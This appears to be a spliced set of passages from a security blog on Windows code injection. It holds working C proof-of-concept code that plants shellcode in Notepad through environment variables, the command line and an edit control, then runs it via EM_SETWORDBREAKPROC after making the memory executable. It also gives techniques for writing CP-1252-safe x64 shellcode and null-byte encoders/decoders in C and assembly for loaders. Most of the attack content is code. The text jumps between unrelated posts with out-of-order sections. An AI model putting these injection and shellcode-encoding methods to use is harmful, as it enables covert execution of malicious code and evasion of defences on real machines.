hp, peb.ProcessParameters,&upp,sizeof(RTL_USER_PROCESS_PARAMETERS),&rd);*envlen = upp.EnvironmentSize;return upp.Environment;}
The full routine will copy the user-supplied command to the Edit control and the shellcode will receive this when the word break callback is executed. You donβt need to use Notepad, but I just wanted to avoid the usual methods of executing code via RtlCreateUserThread or CreateRemoteThread. Figure 1 shows the shellcode stored as an environment variable. See var_inject.c for more detals.
Figure 1. Environment variable of new process containing shellcode.
void var_inject(PWCHAR cmd){STARTUPINFO si;PROCESS_INFORMATION pi;WCHAR name[MAX_PATH]={0};INT i;PVOID va;DWORD rva, old, len;PVOID env;HWND npw, ecw;// generate random namesrand(time(0));for(i=0; i<MAX_NAME_LEN; i++){
name[i]=((rand()%2)?L'a':L'A')+(rand()%26);}// set variable in this process space with our shellcodeSetEnvironmentVariable(name,(PWCHAR)WINEXEC);// create a new process using // environment variables from this processZeroMemory(&si,sizeof(si));
si.cb =sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow =SW_SHOWDEFAULT;CreateProcess(NULL,L"notepad",NULL,NULL,
FALSE,0,NULL,NULL,&si,&pi);// wait for process to initialize// if you don't wait, there can be a race condition// reading the correct Environment address from new process WaitForInputIdle(pi.hProcess, INFINITE);// the command to execute is just pasted into the notepad// edit control.
npw =FindWindow(L"Notepad",NULL);
ecw =FindWindowEx(npw,NULL,L"Edit",NULL);SendMessage(ecw,WM_SETTEXT,0,(LPARAM)cmd);// get the address of environment block in new process// then calculate the address of shellcode
env = var_get_env(pi.hProcess,&len);
va =(PBYTE)env + get_var_rva(name);// set environment block to RWXVirtualProtectEx(pi.hProcess, env,
len, PAGE_EXECUTE_READWRITE,&old);// execute shellcodeSendMessage(ecw,EM_SETWORDBREAKPROC,0,(LPARAM)va);SendMessage(ecw,WM_LBUTTONDBLCLK, MK_LBUTTON,(LPARAM)0x000a000a);SendMessage(ecw,EM_SETWORDBREAKPROC,0,(LPARAM)NULL);cleanup:// cleanup and exitSetEnvironmentVariable(name,NULL);if(pi.hProcess !=NULL){CloseHandle(pi.hThread);CloseHandle(pi.hProcess);}}
4. Command Line
This can be easier to work with than environment variables. For this example, only the shellcode itself is used and that can be located easily in the PEB.
#define NOTEPAD_PATH L"%SystemRoot%\\system32\\notepad.exe"ExpandEnvironmentStrings(NOTEPAD_PATH, path, MAX_PATH);// create a new process using shellcode as command lineZeroMemory(&si,sizeof(si));
si.cb =sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow =SW_SHOWDEFAULT;CreateProcess(path,(PWCHAR)WINEXEC,NULL,NULL,
FALSE,0,NULL,NULL,&si,&pi);
Reading is much the same as reading environment variables since they both reside inside RTL_USER_PROCESS_PARAMETERS.
// get the address of command linePVOID get_cmdline(HANDLE hp,PDWORD cmdlen){
NTSTATUS nts;
PROCESS_BASIC_INFORMATION pbi;
RTL_USER_PROCESS_PARAMETERS upp;
PEB peb;ULONG len;SIZE_T rd;// get the address of PEB
nts = NtQueryInformationProcess(
hp, ProcessBasicInformation,&pbi,sizeof(pbi),&len);// get the address RTL_USER_PROCESS_PARAMETERSReadProcessMemory(
hp, pbi.PebBaseAddress,&peb,sizeof(PEB),&rd);// get the address of command line ReadProcessMemory(
hp, peb.ProcessParameters,&upp,sizeof(RTL_USER_PROCESS_PARAMETERS),&rd);*cmdlen = upp.CommandLine.Length;return upp.CommandLine.Buffer;}
Figure 2 illustrates what Process Explorer might show for the new process. See cmd_inject.c for more detals.
Figure 2. Command line of new process containing shellcode.
#define NOTEPAD_PATH L"%SystemRoot%\\system32\\notepad.exe"void cmd_inject(PWCHAR cmd){STARTUPINFO si;PROCESS_INFORMATION pi;WCHAR path[MAX_PATH]={0};DWORD rva, old, len;PVOID cmdline;HWND npw, ecw;ExpandEnvironmentStrings(NOTEPAD_PATH, path, MAX_PATH);// create a new process using shellcode as command lineZeroMemory(&si,sizeof(si));
si.cb =sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow =SW_SHOWDEFAULT;CreateProcess(path,(PWCHAR)WINEXEC,NULL,NULL,
FALSE,0,NULL,NULL,&si,&pi);// wait for process to initialize// if you don't wait, there can be a race condition// reading the correct command line from new process WaitForInputIdle(pi.hProcess, INFINITE);// the command to execute is just pasted into the notepad// edit control.
npw =FindWindow(L"Notepad",NULL);
ecw =FindWindowEx(npw,NULL,L"Edit",NULL);SendMessage(ecw,WM_SETTEXT,0,(LPARAM)cmd);// get the address of command line in new process// which contains our shellcode
cmdline = get_cmdline(pi.hProcess,&len);// set the address to RWXVirtualProtectEx(pi.hProcess, cmdline,
len, PAGE_EXECUTE_READWRITE,&old);// execute shellcodeSendMessage(ecw,EM_SETWORDBREAKPROC,0,(LPARAM)cmdline);SendMessage(ecw,WM_LBUTTONDBLCLK, MK_LBUTTON,(LPARAM)0x000a000a);SendMessage(ecw,EM_SETWORDBREAKPROC,0,(LPARAM)NULL);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);}
5. Window Title
IMHO, this is the best of three because the lpTitle field of STARTUPINFO only applies to console processes. If a GUI like notepad is selected, process explorer doesnβt show any unusual characters for various properties. Set lpTitle to the shellcode and CreateProcessW will inject. As with the other two methods, obtaining the address can be read via the PEB.
// create a new process using shellcode as window titleZeroMemory(&si,sizeof(si));
si.cb =sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow =SW_SHOWDEFAULT;
si.lpTitle =(PWCHAR)WINEXEC;
6. Runtime Data
Two fields (cbReserved2 and lpReserved2) in the STARTUPINFO structure are, according to Microsoft, βReserved for use by the C Run-timeβ and must be NULL or zero prior to calling CreateProcess. The maximum amount of data that can be transferred into a new process is 65,536 bytes, but my experiment with it resulted in the new process failing to execute. The fault was in ucrtbase.dll likely because lpReserved2 didnβt point to the data it expected.
While it didnβt work for me, thatβs not to say it canβt work with some additional tweaking. Sources
βShatter attacksβ use Window messages for privilege escalation and were first described in August 2002 by Kristin Paget. Early examples demonstrated using WM_SETTEXT for injection of code and WM_TIMER to execute it. While Microsoft attempted to address the problem with a patch in December 2002, Oliver Lavery later demonstrated how EM_SETWORDBREAKPROC can also execute code. Kristin Paget delivered a followup paper and presentation in August 2003 describing other messages for code redirection. Brett Moore also published a paper in October 2003 that includes a comprehensive list of all messages that could be used for both injection and redirection.
Without focusing on the design of Windows itself, Shatter attacks were possible for two reasons: No isolation between processes sharing the same interactive desktop, and for allowing code to run from the stack and heap. Starting with Windows Vista and Server 2008, User Interface Privilege Isolation (UIPI) solves the first problem by defining a set of UI privilege levels to prevent a low-privileged process sending messages to a high-privileged process. Data Execution Prevention (DEP) , which was introduced earlier in Windows XP Service Pack 2, solves the second problem. With both features enabled, Shatter attacks are no longer effective. Although DEP and UIPI block Shatter attacks, they do not prevent using window messages for code injection.
For this post, Iβve written a PoC that does the following:
Use the clipboard and WM_PASTE message to inject code into the notepad process.
Use the EM_GETHANDLE message and ReadProcessMemory to obtain the buffer address of our code.
Use VirtualProtectEx to change memory permissions from Read-Write to Read-Write-Execute.
Use the EM_SETWORDBREAKPROC and WM_LBUTTONDBLCLK to execute shellcode.
Although VirtualProtectEx is used, it may be possible to run notepad with DEP disabled. Itβs also worth pointing out the shellcode is designed for CP-1252 encoding rather than UTF-8 encoding, so the PoC may not work on every system. The injection method will succeed, but notepad is likely to crash after the conversion to unicode.
2. Edit Controls
Adam writes in Talking to, and handling (edit) boxes about code injection via edit controls and using EM_GETHANDLE to obtain the address of where the code is stored. Using notepad as an example, one can open a file containing executable code or use the clipboard and the WM_PASTE message to inject into notepad.
To show where the edit control input is stored in memory, run notepad and type in βmodexpβ. Attach WinDbg and type in the following command: !address /f:Heap /c:βs -u %1 %2 \βmodexp\ββ. This will search heap memory for the Unicode string βmodexpβ. Why Unicode? Since Comctl32.dll version 6, controls only use Unicode. Figure 1 shows the output of this command.
Figure 1. Searching memory for the string in Notepad.
To read the edit control handle, we send EM_GETHANDLE to the window handle. Alternatively, you can use GetWindowLongPtr(0) and ReadProcessMemory(ULONG_PTR), but EM_GETHANDLE will do it in one call. Figure 2 shows the result of executing the following code.
Figure 2. The memory pointer returned by EM_GETHANDLE
The handle points to the buffer allocated for input as you can see in Figure 3.
Figure 3. Buffer allocated for input.
Since the input is stored in Unicode format, itβs not possible to just copy any shellcode to the clipboard and paste into the edit control. On my system, notepad converts the clipboard data to Unicode using the CP_ACP codepage, which is using Windows-1252 (CP-1252) encoding. CP-1252 is a single byte character set used by default in legacy components of Microsoft Windows for languages derived from the Latin alphabet. When notepad receives the WM_PASTE message, it invokes GetClipboardData() with CF_UNICODETEXT as the format. Internally, this invokes GetClipboardCodePage(), which on my system returns CP_ACP, before invoking MultiByteToWideChar() converting the text into Unicode format. For CF_TEXT format, ensure the code you copy to the clipboard doesnβt contain characters in the ranges [0x80, 0x8C], [0x91, 0x9C] or 0x8E, 0x9E and 0x9F. These βbad charactersβ will be converted to double byte character encodings. For UTF-8, only bytes in range [0x00, 0x7F] can be used.
NOTE: You can paste shellcode as CF_UNICODETEXT and avoid writing complex Ansi shellcode as I have in this post. Just ensure to avoid two consecutive null bytes that indicate string termination. e.g β\x00\x00β
3. Writing CP-1252 Compatible Code
If writing Ansi shellcode that will be converted to Unicode before execution, letβs start by looking at x86/x64 instructions that can be used safely after conversion by MultiByteToWideChar() using CP_ACP as the code page.
3.1 Initialization
Throughout the code, youβll see the following.
"\x00\x4d\x00"/*addbyte[rbp],cl*/
Consider it a NOP instruction because itβs only intended to insert null bytes between other instructions so that the final assembly code in Ansi is compatible with CP-1252 encoding. Using BP requires three bytes and can be used almost right away.
Well, that last statement is not entirely true. For 32-Bit mode, creating a stack frame is a normal part of any procedure and authors of older articles on Unicode shellcode rightly presume BP contains the value of the Stack Pointer (SP). Unless BP was unexpectedly overwritten, any write operations with this instruction on 32-Bit systems wonβt cause an exception. However, the same cannot be said for 64-Bit, which depending on the compiler normally avoids using BP to address local variables. For that reason, we must copy SP to BP ourselves before doing anything else. The only instruction between 1-5 bytes I could identify as a solution to this was ENTER. Another thing we do is set AL to 0, so that weβre not overwriting anything on the stack address RBP contains. The following allocates 256 bytes of memory and copies SP to BP.
; ************************* prologmoval,0enter256,0; save rbppush rbp
add[rbp],al; create local variable for rbppush0push rsp
add[rbp],alpop rbp
add[rbp],cl
If youβre familiar with the Microsoft fastcall convention for x64 mode, youβll already know the first four arguments are placed in RCX, RDX, R8 and R9. This callback will load lpch into RCX. This will be useful later.
3.2 Set RAX to 0
PUSH 0 creates a local variable on the stack and assigns zero to it. The variable is then loaded with POP RAX.
Copy 0xFF00FF00 to EAX. Subtract 0xFF00FF00. It should be noted that these operations will zero out the upper 32-bits of RAX and are insufficient for adding and subtracting with memory addresses.
PUSH 0 creates a local variable weβll call X and assigns a value of 0. PUSH RSP creates a local variable weβll call A and assigns the address of X. POP RAX loads A into the RAX register. INC DWORD[RAX] assigns 1 to X. POP RAX loads X into the RAX register.
PUSH 0 creates a local variable weβll call X and assigns a value of 0. PUSH RSP creates a local variable weβll call A and assigns the address of X. POP RAX loads A into the RAX register. MOV BYTE[RAX], 1 assigns 1 to X. POP RAX loads X into the RAX register.
PUSH 0 creates a local variable weβll call X and assigns a value of 0. POP RCX loads X into the RCX register. LOOP $+2 decreases RCX by 1 leaving -1. PUSH RCX stores -1 on the stack and POP RAX sets RAX to -1.
PUSH 0 creates a local variable weβll call X and assigns a value of 0. PUSH RSP creates a local variable weβll call A and assigns the address of X. POP RAX loads A into the RAX register. INC DWORD[RAX] assigns 1 to X. IMUL EAX, DWORD[RAX], -1 multiplies X by -1 and stores the result in EAX.
Initializing registers to 0, 1 or -1 is not a problem, as you can see from the above examples. Loading arbitrary data is a bit trickier, but you can get creative with some aproaches.
Letβs take for example setting EAX to 0x12345678.
"\xb8\x78\x56\x34\x12"/*moveax,0x12345678*/
This uses IMUL to set EAX to 0x00340078 and an XOR with 0x12005600 to finish it off.
Create a local variable weβll call X, by storing 0 on the stack. Create a local variable weβll call A, which contains the address of X . Load A into RAX. Store 0x00340078 in X using MOV DWORD[RAX], 0x00340078. Load X into RAX. XOR EAX with 0x12005600. EAX now contains 0x12345678.
If all you need are two byte instructions that contain one null byte, the following may be considered. For the branch instructions, regardless of whether a condition is true or false, the instruction is always branching to the next address. The loop instructions might be useful if you want to subtract 1 from an address. To add 1 or 4 to an address, copy it to RDI and use SCASB or SCASD. LODSB or LODSD can be used too if the address is in RSI, but just remember they overwrite AL and EAX respectively.
; logicoral,0xoral,0andal,0; arithmeticaddal,0adcal,0sbbal,0subal,0; comparison predicatescmpal,0testal,0; data transfermoval,0movah,0movbl,0movbh,0movcl,0movch,0movdl,0movdh,0; branchesjmp$+2jo$+2jno$+2jb$+2jae$+2je$+2jne$+2jbe$+2ja$+2js$+2jns$+2jp$+2jnp$+2jl$+2jge$+2jle$+2jg$+2
jrcxz $+2loop$+2loope$+2loopne$+2
3.7 Prefix Codes
Some of these prefixes can be used to pad an instruction. The only instructions I tested were 8-Bit operations.
Prefix
Description
0x2E, 0x3E
Branch hints have no effect on anything newer than a Pentium 4. Harmless to use up a byte of space between instructions.
0xF0
The LOCK prefix guarantees the instruction has exclusive use of all shared memory, until the instruction completes execution.
0xF2, 0xF3
REP(0xF2) tells the CPU to repeat execution of a string manipulation instruction like MOVS, STOS, CMPS or SCAS until RCX is zero. REPNE (0xF3) repeats execution until RCX is zero or the Zero Flag (ZF) is cleared.
0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65
The Extra Segment (ES) (0x26) prefix is used for the destination of string operations. The Code Segment (CS) (0x2E) for all instructions is the same as a branch hint and has no effect. The Stack Segment (0x36) is used for storing and loading local variables with instructions like PUSH/POP. The Data Segment (DS) (0x3E) for all data references, except stack and is also the same as a branch hint, which has no effect. FS(0x64) and GS(0x65) are not designated, but youβll see them used to access the Thread Environment Block (TEB) on Windows or the Thread Local Storage (TLS) on Linux.
0x66, 0x67
Used to override the default size of a data type in 32-bit mode for a PUSH/POP or MOV. NASM/YASM support operand-size (0x66) and operand-address (0x67) prefixes using a16, a32, o16 and o32.
0x40 β 0x4F
REX prefixes for 64-Bit mode.
4. Generating Shellcode
Some things to consider when writing your own.
Preserve all non-volatile registers used. RSI, RDI, RBP, RBX
Allocate 32 bytes for homespace. This will be used by any API you invoke.
Before invoking API, ensure the value of SP is aligned by 16 bytes minus 8.
Some API will use SIMD instructions, usually for memcpy() or memset() of small blocks of data. To achieve optimal performance, the data accessed must be aligned by 16 bytes. If the stack pointer is misaligned and SIMD instructions are used to read or write to SP, this will result in an unhandled exception. Since we canβt use a CALL instruction, RET is used instead and once executed removes an API address from the stack. If itβs not aligned by 16 bytes at that point, expect trouble! π
Using previous examples, the following code will construct a CP-1252 compatible shellcode to execute calc.exe using kernel32!WinExec(). This is simply to demonstrate the injection via notepads edit control works.
Execute notepad.exe and obtain a window handle for the edit control.
Get the edit control handle using the EM_GETHANDLE message.
Generate text equivalent to, or greater than the size of the shellcode and copy it to the clipboard.
Assign a NULL pointer to lastbuf
Read the address of input buffer from the EM handle and assign to embuf.
If lastbuf and embuf are equal. Goto step 9.
Clear the memory buffer using WM_SETSEL and WM_CLEAR.
Send the WM_PASTE message to the edit control window handle. Wait 1 second, then goto step 5.
Set embuf to PAGE_EXECUTE_READWRITE.
Generate CP-1252 compatible shellcode and copy to the clipboard.
Set the edit control word break function to embuf using EM_SETWORDBREAKPROC
Trigger execution of shellcode using WM_LBUTTONDBLCLK
BOOL em_inject(void){HWND npw, ecw;
w64_t emh, lastbuf, embuf;SIZE_T rd;HANDLE hp;DWORD cslen, pid, old;BOOL r;PBYTE cs;char buf[1024];// get window handle for notepad class
npw =FindWindow("Notepad",NULL);// get window handle for edit control
ecw =FindWindowEx(npw,NULL,"Edit",NULL);// get the EM handle for the edit control
emh.p =(PVOID)SendMessage(ecw,EM_GETHANDLE,0,0);// get the process id for the windowGetWindowThreadProcessId(ecw,&pid);// open the process for reading and changing memory permissions
hp =OpenProcess(PROCESS_VM_READ|PROCESS_VM_OPERATION, FALSE, pid);// copy some test data to the clipboardmemset(buf,0x4d,sizeof(buf));
CopyToClipboard(CF_TEXT, buf,sizeof(buf));// loop until target buffer address is stable
lastbuf.p =NULL;
r = FALSE;for(;;){// read the address of input buffer ReadProcessMemory(hp, emh.p,&embuf.p,sizeof(ULONG_PTR),&rd);// Address hasn't changed? exit loopif(embuf.p == lastbuf.p){
r = TRUE;break;}// save this address
lastbuf.p = embuf.p;// clear the contents of edit controlSendMessage(ecw,EM_SETSEL,0,-1);SendMessage(ecw,WM_CLEAR,0,0);// send the WM_PASTE message to the edit control// allow notepad some time to read the data from clipboardSendMessage(ecw,WM_PASTE,0,0);Sleep(WAIT_TIME);}if(r){// set buffer to RWXVirtualProtectEx(hp, embuf.p,4096, PAGE_EXECUTE_READWRITE,&old);// generate shellcode and copy to clipboard
cs = cp1252_generate_winexec(pid,&cslen);
CopyToClipboard(CF_TEXT, cs, cslen);// clear buffer and inject shellcodeSendMessage(ecw,EM_SETSEL,0,-1);SendMessage(ecw,WM_CLEAR,0,0);SendMessage(ecw,WM_PASTE,0,0);Sleep(WAIT_TIME);// set the word break procedure to address of shellcode and executeSendMessage(ecw,EM_SETWORDBREAKPROC,0,(LPARAM)embuf.p);SendMessage(ecw,WM_LBUTTONDBLCLK, MK_LBUTTON,(LPARAM)0x000a000a);SendMessage(ecw,EM_SETWORDBREAKPROC,0,(LPARAM)NULL);// set buffer to RWVirtualProtectEx(hp, embuf.p,4096, PAGE_READWRITE,&old);}CloseHandle(hp);return r;}
6. Demonstration
Notepad doesnβt crash as a result of the shellcode running. The demo terminates it once the thread ends.
7. Encoding Arbitrary Data
Encoding data and code require different solutions. Raw data that doesnβt execute requires βbad charactersβ removed from it, while code must execute successfully after the conversion, which is not easy to accomplish in practice. The following encoding and decoding algorithms are based on a previous post about removing null characters in shellcode.
7.1 Encoding
Read a byte from the input file or stream and assign to X.
If X plus 1 is allowed, goto step 6.
Save escape code (0x01) to the output file or stream.
XOR X with 8-Bit key.
Save X to the output file or stream, goto step 7.
Save X plus 1 to the output file or stream.
Repeat steps 1-6 until EOF.
// encode raw data to CP-1252 compatible datastaticvoidcp1252_encode(FILE*in, FILE*out) {
uint8_tc, t;
for(;;) {
// read bytec=getc(in);
// end of file? exitif(feof(in)) break;
// if the result of c + 1 is disallowedif(!is_decoder_allowed(c+1)) {
// write escape codeputc(0x01, out);
// save byte XOR'd with the 8-Bit keyputc(c^CP1252_KEY, out);
} else {
// save byte plus 1putc(c+1, out);
}
}
}
7.2 Decoding
Read a byte from the input file or stream and assign to X.
If X is not an escape code, goto step 6.
Read a byte from the input file or stream and assign to X.
XOR X with 8-Bit key.
Save X to the output file or stream, goto step 7.
Save X β 1 to the output file or stream.
Repeat steps 1-6 until EOF.
// decode data processed with cp1252_encode to their original valuesstaticvoidcp1252_decode(FILE*in, FILE*out) {
uint8_tc, t;
for(;;) {
// read bytec=getc(in);
// end of file? exitif(feof(in)) break;
// if this is an escape codeif(c==0x01) {
// read next bytec=getc(in);
// XOR the 8-Bit keyputc(c^CP1252_KEY, out);
} else {
// save byte minus oneputc(c-1, out);
}
}
}
The assembly is compatible with both 32 and 64-bit mode of the x86 architecture.
; cp1252 decoder in 40 bytes of x86/amd64 assembly; presumes to be executing in RWX memory; needs stack allocation if executing from RX memory;; odzhanbits32Β Β Β Β %define CP1252_KEY 0x4Djmpinit_decode; read the program counter; esi = source; edi = destination ; ecx = lengthdecode_bytes:lodsb; read a bytedecal; c - 1jnzsave_bytelodsb; skip null bytelodsb; read next bytexoral, CP1252_KEY ; c ^= CP1252_KEYsave_byte:stosb; save in bufferlodsb; skip null byteloopdecode_bytesretload_data:popesi; esi = start of data; ********************** ; decode the 32-bit lengthread_len:push0; len = 0pushesp; popedi; edi = &lenpush4; 32-bitspopecxcalldecode_bytespopecx; ecx = len; ********************** ; decode remainder of datapushesi; popedi; edi = encoded datapushesi; save address for RETjmpdecode_bytesinit_decode:callload_data; CP1252 encoded data goes here..
The decoder could be stored at the beginning of the buffer and the callback could be stored higher up in memory.
8. Acknowledgements
Iβd like to thank Adam for feedback and advice on this post. Specifically about CF_UNICODETEXT.
9. Further Research
List of papers and presentations relevant to this post. If you know of any good papers on writing Unicode shellcodes that arenβt listed here, feel free to email me with the details.
Another idea for seting EAX to 0. Clear the Carry Flag using CLC, set EAX to 0xFF00FF00. Subtract 0xFF00FF00 + CF from EAX which sets EAX to 0. Can you spot the problem? π Well, the ADD affects the Carry Flag, so thatβs why it doesnβt work as intended. Of course, it might work, depending on what RBP points to and the value of CL.
An idea to set EAX to -1. First, set the Carry Flag using STC, set EAX to 0xFF00FF00. Subtract 0xFF00FF00 + CF from EAX which sets EAX to 0xFFFFFFFF. Same problem as before.
This was an idea for setting EAX to 1. First, set EAX to zero. Set the Carry Flag (CF), then add CF to AL using Add with Carry (ADC). Same problem as before.
Another version to set EAX to -1. Store zero on the stack, load address into RAX and add 1. Rotate left by 31-bits to get 0x80000000. Load into EAX and use CDQ to set EDX to -1, then swap EAX and EDX. The problem is 0x99 converts to a double byte encoding.
I examined various ways to simulate instructions and conceded it could only work using self-modifying code. Using boolean logic with bitwise instructions (AND/XOR/OR/NOT) and some arithmetic (NEG/ADD/SUB) to select the address of where code execution should continue. The RET instruction is the only opcode that can be used to transfer execution. Thereβs no JMP, Jcc or CALL instructions that can be used directly.
If we have to modify code to simulate boolean logic, it makes more sense to just write instructions into memory and execute it there.
"\x39\xd8"/*cmpeax,ebx*/
Thereβs no simple combination of registers used with CMP or SUB thatβs compatible with CP-1252. You can compare EAX with immediate values but nothing else. The following code using CMPSD attempts to demonstrate evaluating if EAX < EBX, generating a result of 0 (FALSE) or -1 (TRUE). It would have worked, except the ADD instructions before SBB generates the wrong result.
Two problems: SAHF is a byte we canβt use (0x9E) and even if we could, the ADD after the SAHF instruction modifies the flags register, resulting in EAX being set to 0 or -1. The result depends on the byte stored in address rbp contains and the value of CL.
Adding -1 will subtract 1 from the variable EAX contains the address of.
Works fine, but because 0x83 converts to a double-byte encoding, we canβt use it.
Set the Carry Flag (CF) with STC. Subtract 0 + CF from AL using SBB AL, 0, which sets AL to 0xFF. Create a variable set to 0 on the stack. Load the address of that variable into rdi. Store AL in variable four times before loading into RAX. Doesnβt work once the addition after STC is executed.
The next snippet simply copies the value of RCX to RAX. Itβs overcomplicated and the POP QWORD instruction might be useful in some scenario. I just didnβt find it useful.
Adding registers is a problem, specifically when a carry occurs. Any operation on a 32-bit register automatically clears the upper 32-bits of a 64-bit register, so to perform addition and subtraction on addresses, ADD and SUB of 32-bit registers isnβt useful.
push0pop rcx
xnop
push rbp ; save rbp
xnop
; 1. ====================================push0; store 0 as Xpush rsp ; store &X
xnop
pop rbp ; load &X
xnop
; 2. ====================================moveax,0xFF001200; load 0xFF001200add[rbp],ah; add 0x12adcal,0; AL = CFpush rbp ; store &X
xnop
push rsp ; store &&X
xnop
pop rax ; load &&X
xnop
incdword[rax]; &X++pop rbp
xnop
add[rbp],al; add CF; 3. ====================================
Finally, one that may or may not be useful. Imagine you have a shellcode and you want to reconstruct it in memory before executing. If the address of table 1 is in RAX, table 2 in RSI and R8 is zero, this next instruction might be useful. Every even byte of the shellcode would be stored in one table with every odd byte stored in another. Then at runtime, we combine the two. The only problem is getting R8 to zero because anything that uses it requires a REX prefix. Iβm leaving here in the event R8 is already zero..
; read byte from table 2lodsbadd[rbp],claddbyte[rax+r8+1],al; copy to table 1add[rbp],cllodsbadd[rbp],claddbyte[rax+r8+3],aladd[rbp],cllodsbadd[rbp],claddbyte[rax+r8+5],aladd[rbp],cl; and so on..; executepush rax
ret
Using the above instruction to add 8-bits to 32-bit word.
; step 1push rax ; save pointeraddbyte[rbp],claddbyte[rax+r8],bl; A[0] += B[0]moval,0adcal,0; set carryaddbyte[rbp],clpush rax ; save carryaddbyte[rbp],clpop rcx ; load carry into CLaddbyte[rbp],clpop rax ; restore pointeraddbyte[rbp],cl; step 2push rax ; save pointeraddbyte[rbp],clroldword[rax],24addbyte[rbp],claddbyte[rax+r8],cl; A[1] += CFmoval,0adcal,0; set carryaddbyte[rbp],clpush rax ; save carryaddbyte[rbp],clpop rcx ; load carry into CLaddbyte[rbp],clpop rax ; restore pointeraddbyte[rbp],cl; step 3push rax ; save pointeraddbyte[rbp],clroldword[rax],24addbyte[rbp],claddbyte[rax+r8],cl; A[2] += CFmoval,0adcal,0; set carryaddbyte[rbp],clpush rax ; save carryaddbyte[rbp],clpop rcx ; load carry into CLaddbyte[rbp],clpop rax ; restore pointeraddbyte[rbp],cl; step 4push rax ; save pointeraddbyte[rbp],clroldword[rax],24addbyte[rbp],claddbyte[rax+r8],cl; A[3] += CFmoval,0adcal,0; set carryaddbyte[rbp],clpush rax ; save carryaddbyte[rbp],clpop rcx ; load carry into CLaddbyte[rbp],clpop rax ; restore pointeraddbyte[rbp],cl; step 5roldword[rax],24addbyte[rbp],cl
As you can see, itβs a mess to try simulate instructions instead of just writing the code to memory and executing that wayβ¦or use CF_UNICODETEXT for copying to the clipboard. π
Quick post about a common problem removing null bytes in the loader generated by Donut. Replacing opcodes that contain null bytes with equivalent snippets is enough to solve the problem for a shellcode of no more than a few hundred bytes. Itβs also possible to automate using encoders found in msfvenom and pwntools. However, the problem most users experience is when the loader generated by Donut is a few hundred kilobytes or even a few megabytes! This post demonstrates how to use escape sequences to facilitate faster encoding of null bytes. Maybe βescape codesβ is a better description? You can find a PoC encoder here, which can be used to add an x86/AMD64 decoder to a shellcode generated by Donut.
XOR Cipher
Readers will be aware of the eXclusive-OR (XOR) cipher and its extensive use as a component or building block in many cryptographic primitives. Itβs also a popular choice for obfuscating shellcode and specifically removing null bytes. In the past, the following code in C is what Iβd probably use to find a suitable key. It will work with keys of any length, but is slow as hell for anything more than 24-Bits.
int find_xor_key(constvoid*inbuf, u32 inlen,void*outbuf,int outlen){int i, j, keylen=1;
u8 *in =(u8*)inbuf,*key=(u8*)outbuf;// initialize keyfor(i=0; i<outlen; i++){
key[i]=(i < keylen)?0:-1;}// while keylen is less than max key requestedwhile(keylen < outlen){// xor data with current keyfor(i=0; i<inlen; i++){// if the result of xor is zero. end loopif((in[i]^ key[i % keylen])==0)break;}// if we processed all data successfullyif(i == inlen){// return current key and its lengthreturn keylen;}// otherwise, update the keyfor(i=0;; i++){if(++key[i])break;}// update the key lengthif(i == keylen) keylen++;}// return nothing foundreturn0;}
The following function can be used to test it and works relatively fast for something thatβs compact, like 1KB, but sucks for anything > 3072 bytes, which I admit is unusual for shellcode.
void test_key(void){int i, keylen;
u8 key[8], data[1024];srand(time(0));// fill buffer with pseudo-random bytesfor(i=0; i<sizeof(data); i++){
data[i]=rand();}// try find a suitable XOR key for the data
keylen = find_xor_key(data,sizeof(data), key,sizeof(key));printf("Suitable key %sfound.\n\n",
keylen ?"":"could not be ");if(keylen){printf("Key length : %i\nKey : ", keylen);while(keylen--){printf("%02x", key[keylen]);}putchar('\n');}}
find_xor_key() could be re-written to use multiple threads and this would speed up the search. You might even be able to use a GPU or cluster of computers, but the overall problem isnβt finding a key. Weβre not trying to crack ciphertext. All we want to do is encode and later decode null bytes, and for the Donut loader, this approach is very inefficient.
Encoding Algorithm
Escape sequences have been used in computing since the 1970s and most of you will already be familiar with them. Iβm not sure if Iβm using the correct terminology for what I describe next, but hopefully youβll understand why I did. Textual encoding algorithms like Base64, Ascii85 and BasE91 were considered first of course. And Qkumba wrote a very cool base64 decoder that uses just ASCII characters that I was very tempted to use. In the end, using an escape code to indicate a null byte is simpler to implement.
Read a byte from the input file or stream and assign to X.
Assign X plus 1 to Y.
If Y is not 0 or 1, goto step 6.
Save the escape sequence 0x01 to the output file or stream.
XOR X with predefined 8-Bit key K, goto step 7.
Add 1 to X.
Save X to the output file or stream.
Repeat step 1-7 until EOF.
Although I use an XOR cipher in step 5, it could be replaced with something else.
staticvoid nullz_encode(FILE*in,FILE*out){char c, t;for(;;){// read byte
c =getc(in);// end of file? exitif(feof(in))break;// adding one is just an example
t = c +1;// is the result 0(avoid) or 1(escape)?if(t ==0|| t ==1){// write escape sequenceputc(0x01, out);// The XOR is an optional step.// Avoid using 0x00 or 0xFF with XOR!putc(c ^ NULLZ_KEY, out);}else{// save byte plus 1putc(c +1, out);}}}
Decoding Algorithm
Read a byte from the input file or stream and assign to X.
If X is not an escape sequence 0x01, goto step 5.
Read a byte from the input file or stream and assign to X.
XOR X with predefined 8-Bit key K used for encoding, goto step 6.
Subtract 1 from X.
Save X to the output file or stream.
Repeat steps 1-6 until EOF.
staticvoid nullz_decode(FILE*in,FILE*out){char c, t;for(;;){// read byte
c =getc(in);// end of file? exitif(feof(in))break;// if this is an escape sequenceif(c ==0x01){// read next byte and XOR it
c =getc(in);// The XOR is an optional step.putc(c ^ NULLZ_KEY, out);}else{// else subtract byteputc(c -1, out);}}}
x86/AMD64 assembly
This assembly is compatible with both 32-Bit and 64-bit modes. It expects to run from RWX memory, so YMMV with this. If you want to execute from RX memory only, then this will require allocation of memory on the stack.
bits32Β Β Β Β %define NULLZ_KEY 0x4Dnullz_decode:_nullz_decode:jmpinit_codeload_code:popesilodsd; load original length of dataxoreax,0x12345678; change to 32-bit key xchgeax,ecxpushesi; save pointer to code on stackpopedi; pushesidecode_main:lodsb; read a bytedecal; c - 1jnzsave_bytelodsb; read next bytexoral, NULLZ_KEY ; c ^= NULLZ_KEYsave_byte:stosb; save in bufferloopdecode_mainret; execute shellcodeinit_code:callload_code; XOR encoded shellcode goes here..
Building the Loader
Allocate memory to hold the decoder, 32-bits for the original length of input file and file data itself.
Copy the decoder to memory.
Set the key in decoder that will decrypt the original length. The offset of this value is defined by NULLZ_LEN.
